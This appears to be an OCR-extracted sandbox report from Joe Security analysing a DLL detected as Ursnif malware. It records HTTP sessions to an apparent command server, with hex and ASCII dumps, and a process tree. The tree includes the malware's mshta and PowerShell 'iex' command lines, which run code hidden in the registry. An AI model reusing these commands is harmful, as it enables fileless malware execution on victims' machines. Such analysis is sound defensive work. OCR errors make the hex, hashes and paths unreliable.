4f 36 fc bl da a7 88 a6 1b 8b 2a 80 92 5f ¢7 1e 35 2a df 97 99 29 5d 12 23 77 ae 83 Ob ca c3 ¢9 93 6¢ 86 al 81 33 75 9e
d3 4aaa 35al 97 41 f2 ed 15 4c 3d d3 fe 32 5b c7 d5 e3 e8 7b ea d1 58 3c 3a Oe 49 13 al 7 2a 77 08 dc 69 8c d6 e5 5d
cf a2 66 63 fa 1a f6 3c 34 6e 9d 9b c5 88 30 f3 11 a4 0f d1 52 b2 3 d6 63 €8 6a al c2 aa be b0 02 7a 72 d6 3d 8e Ob 34
58 fc 27 a2 d3 6d f9 63 84 43 7 ¢5 52 c4 7d f9 ad 11 1d 77 b1 c0 a4 3a 8d le a4 7a c7 36 21
Data Ascii: 2000@E?nK\f;_x"9D{x3/#Mj|bKA2As/IXeBU"1;6Hu=F\,+yw*h{a4Q ml"?3:hz!"fvK=QR?bD3pzx;]ggSf2k
, T+ TT]Ed5cMBep@h~P:i, +Y2(5i830*mC8L|n2fV_y{kyt~|. #tHEJ6G!V6-ut]P)Gug?Wc*qWTr,G&>rosBwp4xp<0&@f,RDT-
Owd0Y/&9aFerPm3xA]715>dealq<<7Y Qu(K|Rc"epv|d8 :JO5IH25?S8W<G\0!0sSjP26N8B%05#6-Kr"UAjIsKP23T/-;i-
4u0$#0g)<;_57Qu'#g4; *G"e;u)H NP,~b9(JEP]O6*_5*)#wI3uJ5AL=2[{X<:I*wi]fc<4nORcjzr=4X'mcCR}w:z6!
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Session ID Source IP

1 192.168.2.3

kBytes
Timestamp transferred
Jul 12, 2021 5434

11:50:36.379376888 CEST

Jul 12, 2021 5435
11:50:36.495400906 CEST

Session ID Source IP
2 192.168.2.3

kBytes
Timestamp transferred
Jul 12, 2021 5436

11:50:39.124752998 CEST

Jul 12, 2021 5438
11:50:39.613775015 CEST

Copyright Joe Security LLC 2021

Source Port

49746

Direction

ouT

Source Port

49749

Direction

ouT

Destination IP Destination Port Process

167.172.38.18 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: gtr.antoinfer.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Mon, 12 Jul 2021 09:50:36 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Content-Encoding: gzip

Data Raw: 36 61 0d Oa 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd bl e3 e5 b2 c9 48 4d 4c bl b3 29 c9 2¢ c9 49 b5 33
313051 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da €8 83 95 00 95 26 e5 a7 54 82 8 e4 d4 bc 92 d4 22 3b 9b Oc 43 74 1d
4011 1b 7d a8 34 c8 6¢ a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 Ob d9 61 33 92 00 00 00 0d Oa 30 0d Oa Od
Oa

Data Ascii: 6a(HML),1310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Destination IP Destination Port Process

167.172.38.18 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /PI9E0ri10/TWROVDxUXG0e5P8cvyge/ZU2BrrTTIUbiVqqjDG4/pcVLHK|Q_2FTIEKMel9pOc/uvvfHn2PMXN
Ey/YMBxD3SD/aXgaxQm1VvX_2F13h2xPwK_/2Be7i5I150E/A7TENFq4ZupT65ephY/chqySvAke9ce/Kevf8ZZImEj/
1Va42IfLQ3XJIdI/R1ILLKYWIWCsGvDIqysG/bJCIXC_2Ba_2FKBG/1sCib9KWGT90060/pVIAR6X7f8e8pX6IMX/r
5dwKRidW/K11bWM2mJIHwpxkeOpFZf/WuqCfL3c8woO2jHIv7x/0i4kjIDfCy176FSPYyJZhM9/EN_2FkQv43sxx/a HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: gtr.antoinfer.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 12 Jul 2021 09:50:39 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Data Raw: 32 30 30 30 0d Oa 1f 8b 08 00 00 00 00 00 00 03 14 9a c5 b2 c2 40 10 45 3f 28 8b b8 2d e3 4e 5¢c 77 71 17 e2
€9 d7 3f 5e bl al a0 08 33 3d dd f7 9e Ob 39 63 f7 5 04 48 2f b6 ed f8 32 69 d1 45 01 52 21 f0 3e 27 6d 74 90 e7 d1 6c 46
bl 4e 92 d5 31 f7 1e 21 bd f8 79 e2 70 cd f1 28 01 94 0f ec 45 20 59 6a 41 21 37 70 ca 4b €9 2b 04 b8 8a de 28 62 7a 6a
7481 97 Oc f9 13 Oc 5¢ 09 7b aa 69 c1 a2 2a Ob c7 63 4f e9 b0 b6 a5 bd f6 34 d9 51 da 23 12 01 3b b2 ab 26 8a b9 55 87
8 ec 50 ¢7 c6 53 al 8c cc 5e 55 bl 13 13 31 f6 86 96 86 c0 1d 72 9f 6f 4e 56 97 f9 fd bd d2 77 9e 14 8e b5 77 02 16 e2 16
4c d9 f1 16 d6 b9 28 37 bf 4a c1 74 2a a9 35 8f 28 3b bb 7b ¢5 29 bb a2 5f 57 4c¢ 19 7c 42 38 5d 57 2c f3 0a 62 b3 36 64
77 72 dO df 06 62 ed 63 4f 8f 45 24 ca 50 83 df f8 a9 c6 55 52 93 23 6f 83 4d 63 d2 26 af 56 a4 d5 fb 15 c6 42 b2 eb 5 97
bf fc a7 €3 93 41 d9 7c ¢8 61 5f f3 39 e4 b7 9b 37 52 eb 29 99 12 d4 75 a2 2a 5e 8c 0Oa 2b 69 15 de el b4 ce 86 54 3d d8
la 7e b9 45 04 b2 aa 9d 02 ca eb 39 22 72 Oc 37 80 89 68 1f 71 18 52 f8 d2 78 13 5b c9 8e 0a 76 f3 9 fa bf Of b2 89 6c fa
a3 a3 f0 68 09 62 ec 4b 02 74 b3 c1 fd 29 54 3d 7e d9 6a bd a7 f9 fb 2a 79 51 72 24 ae f5 ¢5 9d 69 36 71 66 9f e3 b2 6a
d4 ad ed 22 29 3¢ d0 7c 13 3b ab b5 ed fb 95 72 95 b6 4f f4 b5 25 97 b4 bc 7d be 92 ee 79 13 d8 77 ac d2 Oe 8¢ 95 5¢ a0
cc a8 0334 ¢5 02 fa d2 08 1f 3a d6 c2 61 4b 78 6a f0 57 0d 15 a9 82 14 2e ab c3 59 cf 46 2c c6 83 28 c8 f6 ee 40 Oc 67 la
c6 ea 2b 69 cd 68 10 45 94 2a 18 bf 7e ba 2f 9a 09 df 34 6e 85 a7 90 2f 6¢ 6¢ 97 56 76 7f eb 44 eb 00 5b 30 86 26 90 a0
46 d0 38 60 38 cd Oc e2 20 f3 bf da 94 5d 4b b5 7e e5 b2 93 77 9f 01 a0 2a 00 04 65 08 98 17 2b 28 bf 9d 52 39 26 96 d3
f2 8a 96 25 71 e7 4a dc c4 fe 42 27 a3 f8 9¢ 00 dd 4c 9e f4 6a 5b 71 0d 68 ef c3 18 de a6 80 12 10 33 e3 1f Oa 9c 47 4f 46
bf e8 b2 d1 fa e2 99 4a 8a d1 36 57 3f 99 80 69 1a 79 b3 32 63 a2 cd 03 83 73 fd 35 50 52 bb 67 64 8e 3f 99 4f 49 84 fe ae
86 64 5e ed Oc ef 3d 6e 33 ec 99 92 ae a4 db bd 7b 91 11 bd 4a 69 bb c6 18 63 a5 74 Oc 8e 16 f4 a4 ed 62 b3 ca f1 €5 75
17 4d al 25 b8 be 90 5a d6 d5 42 df 94 0d 39 e7 ae 31 f9 a9 ba f1 ca 30 Of fO c8 83 c4 ce e7 83 75 6b cc 5e d8 77 bd a4 8
0 ca 5a 8e a5 8d 5c a8 f1 43 a0 a5 92 87 ea cb ad de 14 94 b1 a2 51 09 Oa cd 60 8c 39 3b a7 8d bc 74 9a cc db af 70 55 3
7 3f 83 cf Of 12 82 39 2 34 5¢ 08 7a ad 45 6e 5¢ a8 3b 07 d9 cc 17 50 53 bd 1f el 88 ed 9d 34 93 53 23 eb c1 4a 30 c7 e8
4c c5dd 33 ¢3 1 bf 0a 11 dO ee 18 64 cd f9 52 b3 7e 6e ae ce 56 6e 86 74 c2 4d 94 2c ba 12 a2 76 d9 fe 87 6d 27 2d 70
d3 41 9e 2a 18 1a ab a0 12 e7 5b 57 al 88 da ed 78 2a 68 b7 89 ea b5 e0 ce 35 91 e5 7b af 55 14 47 93 39 bd c2 04 4c 1
4 c4 4a d8 57 d4 39 06 ff b8 4d 1b 8e 08 69 31 5e e0 Ob 65 b8 f5 55 a7 9b 4c 36 08 13 59 5f 7d 3aac 71 77 14 c4 33 ee 1
e eb af 3d cf f1 29 e4 a2 6d 5a 51 94 6d aa f3 8b 33 6¢ 0a 05 c4 3d c7 c0 46 c9 43 dd 55 df d1 77 dd 1b a2 70 9a 79 fb 4a
58 1le 96 29 35 d4 5e a7 53 26 50 da bc be 4c 88 6f 4e b3 a3 6a b6 3f 3b 30 87 f0 3a a6 17 73 ca dc Ob 52 49 13 37 2b 2a
84 79 13 b8 8c 20 22 72 ¢3 32 41 d8 77 ba 90 34 55 4f 9a 47 b1 52 30 86 7e 40 cb 8f ba a3 62 dO

Data Ascii: 2000@E?(-N\wq?"3=9cH/2IER!>'mtIFN1!yp(E YjA!7pK+(bzjt\{i*cO4Q#;&UPS "U1roNVwwL (7Jt*5(;{)_
WL|B8]W,b6dwrbcOE$PUR#0Mc&VBA|a_97R)u* +iT=~E9"r7hqRx[vIhbKt) T=~j*yQr$i6qfj")<|;rO%}yw\4:aKxjW.YF,(@
g+hE*~/4n/lIVvD[0&F8'8 JK~w*e+(R9&%qJB'Lj[gh3GOFJI6W?iy2cs5PRgd?0ld =n3{JictbuM%ZB910uk "wZ\CQ 9;tpU7?
94\zEn\;PS4S#J0L3dR~nVntM,vm'-pA*[Wx*h5{UGILIWIMi1 eULBY _}:qw3=)mZQm3I=FCUwpyJIX)5"S&PLONj?;0:sRI7+*
y "r2Aw4UOGRO~@b
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Session ID Source IP

3 192.168.2.3

kBytes
Timestamp transferred
Jul 12, 2021 5699

11:50:39.940165043 CEST

Jul 12, 2021 5699
11:50:40.044677973 CEST

Session ID Source IP
4 192.168.2.3

kBytes
Timestamp transferred
Jul 12, 2021 5710

11:50:43.079236031 CEST

Jul 12, 2021 5711
11:50:43.569724083 CEST

Copyright Joe Security LLC 2021

Source Port

49748

Direction

ouT

Source Port

49751

Direction

ouT

Destination IP Destination Port Process

167.172.38.18 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: gtr.antoinfer.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Mon, 12 Jul 2021 09:50:40 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Content-Encoding: gzip

Data Raw: 36 61 0d Oa 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd bl e3 e5 b2 c9 48 4d 4c bl b3 29 c9 2¢ c9 49 b5 33
313051 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da €8 83 95 00 95 26 e5 a7 54 82 €8 e4 d4 bc 92 d4 22 3b 9b Oc 43 74 1d
4011 1b 7d a8 34 c8 6¢ a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 Ob d9 61 33 92 00 00 00 0d Oa 30 0d Oa Od
Oa

Data Ascii: 6a(HML),1310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Destination IP Destination Port Process

167.172.38.18 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /M70Tzsw1MNAdF/xfm5A_2F/icgFeOhTIDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYytb_2FaVCd/bple8aV2P
|_2/FY50P4000f6/GeARX2_2FIA_2F/2BhurwBe_2BrsQ1B1bUK7/wilinEmmYIdaz6lz/71Mw33QzoCtr9s9/ULFilVIFcIxUDJ
IsEo/crrSiFkaK/6sQSCYti3ETwug18IBlk/b94MQVqQ698rgMibrOo/RMBVkg8AFrK4uT2Dg6p006/0dceZPFn8QQ
Wz/SARUSfId/dirYBJIB3Uuu4livFAYs9FmV/Pmcsy6YVvBv/LcgigflbUTKnYCeNL/dikDMv66Bty/6H HTTP/1.1

Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: gtr.antoinfer.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 12 Jul 2021 09:50:43 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Data Raw: 37 37 31 0d Oa 1f 8b 08 00 00 00 00 00 00 03 0d 94 35 b2 a5 00 00 04 Of 44 80 5b b0 01 ee ee 64 b8 cb c3 el
f4 fb 4f 30 55 d3 d3 93 c2 da 32 c4 6f 43 7e e9 28 4a 89 13 07 30 08 ee d0 56 82 2a ab 5f af d4 1c ee 93 36 91 31 c2 21 18
20 b6 44 3a ce Ob b2 42 9 53 1e 88 07 2d b9 95 a4 28 de ca d5 97 6b 11 47 f4 f5 e6 07 11 fa 3a 50 c0 35 €9 5 0d 3b 89
7a 50 ea 4c d3 a3 8f d0 e8 34 99 17 38 93 24 d3 90 03 23 85 f1 2f 90 7d 46 64 ea 15 16 €6 72 4e 82 21 82 3b cd ce a4 f9
95 3¢ 69 f6 3d 31 16 ce 63 64 38 15 7c 52 45 99 cf a8 8a 7e 7b 28 2d c1 Oe ac df dc ef 84 bb aa e0 c9 dd 8d 6e 93 d4 9a
8e bb 9b 14 61 79 08 94 46 3a 6e 3f 79 da 27 fb 83 91 b1 36 83 2d 68 a7 46 27 db 76 08 cb 75 f1 63 a4 68 cf 4f f1 5e 7c
62 51 ea dd dc 2d 45 c7 02 ce a8 f4 98 58 64 ee e6 a2 9a 9a 5f ba 77 57 ¢8 20 9a 3c 4e ea b2 80 ef 01 23 de 04 2d 33 Oa
71 8e a6 3a 65 7c 9f 48 72 d8 04 56 b6 21 {7 ec 81 a7 55 e3 af e4 54 93 06 83 e3 al d9 ef 0d 9a 6a dc 8e b6 8f 8f d5 98 f2
8d 86 b8 b5 3b Oc 45 3d 86 3e 0a 60 3f e3 3a 3b 85 84 f4 2a dd 7c ad 13 af 8a 28 33 aa e2 72 2b dc 2¢ 39 d1 8e 6¢ 40 12
5c b7 13 7c e4 68 44 ca 02 Oc 6e da 93 93 da bc 7a d1 61 41 b5 31 98 56 13 bf 85 45 79 8a d1 83 59 98 b5 70 ae 61 2b fd
bb f6 4b 61 b7 49 74 ea €3 d4 d4 2d 51 82 f1 57 b8 4c d7 cd ba 05 4f ¢3 90 11 e2 c5 7a 9b 80 99 8b 69 76 2d 29 06 28 cO
€6 c9 46 90 fc 8b 6¢ cb 67 9¢ 58 b3 a3 02 e9 97 e2 9a 0 57 52 cb 35 3f fa 8b d3 63 b2 1d 99 4f b7 21 a4 dc 4c 16 d3 37
46 cb bf c6 6d 1e 2f 93 58 €0 a8 ce 90 fe 70 ce ba d0 d2 46 64 e7 69 2c f8 a5 23 83 56 70 50 af 30 da 46 94 cd b7 e6 dd
le dael b2 01 2b 23 5e e9 99 e6 19 ce 2c 05 dc 14 9b af 54 4e 84 4c 8b 87 66 7d 87 21 b0 6¢ f1 22 e6 fd ae 33 8d 17 e2
7d 4d d3 32 e3 b2 90 40 af b6 ec el 6b c6 b3 64 97 31 a4 3c a8 27 {7 bc 54 26 09 2e 34 6d 6b 07 21 3b 61 e8 34 e4 ac 8f
6142 1d e7 51 7c ac 9e 7b eb 33 e7 c8 e7 fa 5d 1e 96 e4 fb 6e 62 29 75 8c 15 1c c0 bf fb 8a 73 €5 58 b4 37 bd ce 87 c6
e8 bd al f3 58 97 24 fc 2f b3 aa ca 1f 74 a9 03 bd 70 fc 9b 8b 56 34 2c a3 1d 58 06 55 68 b9 d0 ab Oc cb 56 e3 38 d0 04
8e b6 04 14 6e 01 00 6e ae 1a 3b 0d 39 92 83 cd dO 1f 85 36 8e 15 b5 f9 6¢ 4f 5¢ 48 34 98 c2 ¢8 98 2f 55 85 17 f5 95 93
8e ef ae 7f 82 4f 0a 99 3e 42 40 66 8b 57 Oc 12 2f e0 c9 c1 41 6a 56 16 53 65 40 06 d8 21 9c ba a9 97 8e 94 4c 7 2d 3c
16 30 bc e0 39 39 21 97 1a 78 6b 88 59 00 50 17 47 ca d7 77 f6 60 fe c3 df b4 90 9f 9e 3b e4 69 53 64 09 19 81 3f 38 15
26 4b 2f 10 a2 b6 54 07 27 €9 9e 03 a7 b4 f0 6a 28 cb 59 Oe fb a5 el 41 e0 74 d9 e8 93 71 de 23 Of 41 e4 22 4f 6¢ 22 d2
9 fa 16 65 e0 86 34 4c 84 e3 f2 be e7 8e 1d 28 a0 d9 45 65 39 35 86 fb aa a5 a2 €9 01 21 96 19 4e b5 8a d7 20 24 Ob ac
25 e4 60 b9 cd 7f 25 69 Ob f8 a6 b9 92 86 61 53 f3 54 89 cd ae c0 b8 23 4b 69 c0 el 52 82 ec c2 a4 81 1d 31 fa a7 04 82
af 94 da e0 16 0a 17 ed 9d d1 Oc Oe 4e af 9b 64 d9 ef 83 d6 d6 82 ae 3b 94 a4 07 42 ec 5 f9 fd ¢9 60 bb 5d d5 98 59 d1
17 3a 93 0f 98 f5 e5 ae 40 9a bf 23 a6 8¢ cc 24 ea 4d 20 13 ee ¢3 30 c1 40 c0 b6 49 5d d4 e8 19 8¢ 71 91 63 77 68 02 ba
7e d6 77 7f f3 5e a2 a2 d8 df 7f 73 ee 37 92 5e 88 70 e4 b6 cd 0f d8 87 2a 2f 3d 61 3e 55 61 99 09 34 2d 29 56 12

Data Ascii: 7715D[dO0U20C~(JOV*_61! D:BS-(kG:P5;zPL48%#/}FdrN!;<i=1cd8|RE~{(-nayF:n?y'6-hF'vuchO"|bQ-EXd_wW
<N#-3q:e|HrVIUTj;E=>"?:;*|(3r+,91@\|hDnzaA1VEyYpa+Kalt-QWLOziv-)(FIgXWR5 2cO!L 7Fm/XpFdi,#VpPOF+#", TNLf}
"3}M2@kd 1<'T&.4mk!;a4aBQI{3]nb)usX7X$/tpV4,XUhV8nn;96l0\H4/UO>B@fW/AjVSe@!L-<099!xkYPGW ;iSd?8&K/T
'J(YAtg#A"Ol"e4L(Ee95!N $% %iaST#KIR1Nd;B']Y:@#$M 0@I]gcwh~w"s7 p*/=a>Ua4-)V
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Code Manipulations

Statistics

Behavior

g

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 3296 Parent PID: 5508

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

11:47:56

12/07/2021

C:\Windows\System32\loaddll32.exe

true

loaddll32.exe 'C:\Users\user\Desktop\lj3H69Z3lo.dII"
0xa80000

116736 bytes
542795ADF7CCO8EFCF675D65310596E8

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: cmd.exe PID: 2696 Parent PID: 3296

General

Start time: 11:47:57

Start date: 12/07/2021

Path: C:\Windows\SysWOWe64\cmd.exe

Wow64 process (32bit): true

Commandline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\lj3H69Z3lo.dII' #1

Imagebase: 0xbd0000

File size: 232960 bytes

MDS5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

true
true
C, C++ or other language
high

Show Windows behavior

Analysis Process: rundll32.exe PID: 3416 Parent PID: 3296

Copyright Joe Security LLC 2021
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

11:47:57

12/07/2021

C:\Windows\SysWOW64\rundll32.exe

true

rundll32.exe C:\Users\user\Desktop\lj3H69Z3lo.dIl,Busysection

0xe0000

61952 bytes
D7CA562B0DB4F4DDOF03A89A1FDAD63D

true

true

C, C++ or other language

Reputation: high
Analysis Process: rundll32.exe PID: 1304 Parent PID: 2696
General
Start time: 11:47:57
Start date: 12/07/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

true

rundll32.exe ‘C:\Users\user\Desktop\lj3H69Z3lo.dII'#1

0xe0000

61952 bytes
D7CA562B0DB4F4DDOF03A89A1FDAD63D

true

true

C, C++ or other language

.

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.556259843.0000000004DDC000.00000004.00000040.sdmp,
Author: Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.537141120.0000000004FD8000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.537104299.0000000004FD8000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.536940847.0000000004FD8000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.548180639.0000000004F59000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.537188735.0000000004FD8000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.537165510.0000000004FD8000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.537047715.0000000004FD8000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.536909133.0000000004FD8000.00000004.00000040.sdmp, Author:
Joe Security

Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.536969040.0000000004FD8000.00000004.00000040.sdmp, Author:
Joe Security

high

Show Windows behavior

Analysis Process: rundll32.exe PID: 1808 Parent PID: 3296

General
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Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

11:48:01

12/07/2021

C:\Windows\SysWOW64\rundll32.exe

true

rundll32.exe C:\Users\user\Desktop\lj3H69Z3lo.dll,Dealthis
0xe0000

61952 bytes

D7CA562B0DB4F4DDOF03A89A1FDAD63D

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: rundll32.exe PID: 5964 Parent PID: 3296

General

Start time: 11:48:06

Start date: 12/07/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

rundlI32.exe C:\Users\user\Desktop\lj3H69Z3l0.dll,Sing
0xe0000

61952 bytes
D7CA562BODB4F4DDOF03A89A1FDAD63D

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: rundll32.exe PID: 5796 Parent PID: 3296

General

Start time: 11:48:14

Start date: 12/07/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

true

rundll32.exe C:\Users\user\Desktop\lj3H69Z3l0.dIl, Teethshould
0xe0000

61952 bytes

D7CA562B0DB4F4ADDOF03A89A1FDAD6G3D

true

true

C, C++ or other language

high

Show Windows behavior

Analysis Process: WerFault.exe PID: 5160 Parent PID: 3416

General
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Start time: 11:49:29

Start date: 12/07/2021

Path: C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 648
Imagebase: 0x60000

File size: 434592 bytes

MDS5 hash: 9E2BBACAD48ECCA55C0230D63623661B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: WerFault.exe PID: 64 Parent PID: 3416

General

Start time: 11:49:30

Start date: 12/07/2021

Path: C:\Windows\SysWOW64\WerFault.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 656

Imagebase: 0x60000

File size: 434592 bytes

MD5 hash: 9E2BBACAD48ECCA55C0230D63623661B

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
File Activities Show Windows behavior
File Created
File Deleted
File Written
Registry Activities Show Windows behavior
Key Created

Key Value Created

Analysis Process: iexplore.exe PID: 996 Parent PID: 792

General

Start time: 11:50:32

Start date: 12/07/2021

Path: C:\Program Files\internet exploreniexplore.exe
Wow64 process (32bit): false

Commandline: ‘C:\Program Files\Internet Exploren\iexplore.exe' -Embedding
Imagebase: 0x7ff7€1330000

File size: 823560 bytes

MDS5 hash: 6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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File Activities

Registry Activities

Show Windows behavior

Show Windows behavior

Analysis Process: iexplore.exe PID: 6116 Parent PID: 996

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

11:50:33

12/07/2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe
true

'‘C:\Program Files (x86)\Internet Explore\lEXPLORE.EXE' SCODEF:996 CREDAT:17410
Iprefetch:2

0x9f0000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: iexplore.exe PID: 2592 Parent PID: 996

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

11:50:37

12/07/2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe
true

‘C:\Program Files (x86)\Internet ExplorenIEXPLORE.EXE' SCODEF:996 CREDAT:82950
Iprefetch:2

0x9f0000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: iexplore.exe PID: 1264 Parent PID: 996

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Copyright Joe Security LLC 2021

11:50:41

12/07/2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe
true

‘C:\Program Files (x86)\Internet ExplorelIEXPLORE.EXE' SCODEF:996 CREDAT:17430
Iprefetch:2

0x9f0000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language
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File Activities

Show Windows behavior

Analysis Process: mshta.exe PID: 6132 Parent PID: 3388

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

11:50:48

12/07/2021
C:\Windows\System32\mshta.exe
false

'C:\Windows\System32\mshta.exe' ‘about:<hta:application><script>Ff7t="wscript.shell’;resiz
eTo(0,2);eval(new ActiveXObject(Ff7t).regread('HKCU\Software\\AppDataLow\\Soft
ware\\Microsoft\86EC23E5-2D5A-A875-E71A-B15COBEE7550\\\DeviceFile"));if('window
flag)close()</script>'

0x7ff667e30000

14848 bytes
197FC97C6A843BEBB445C1D9C58DCBDB
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: powershell.exe PID: 5004 Parent PID: 6132

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

11:50:51

12/07/2021
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
false

‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.En
coding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-
2D5A-A875-E71A-B15COBEE7550").UtilTool))

0x7ff785e30000

447488 bytes
95000560239032BC68B4C2FDFCDEF913
true

true

.Net C# or VB.NET

Analysis Process: conhost.exe PID: 5064 Parent PID: 5004

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

11:50:52

12/07/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff6b2800000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language
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Disassembly

Code Analysis

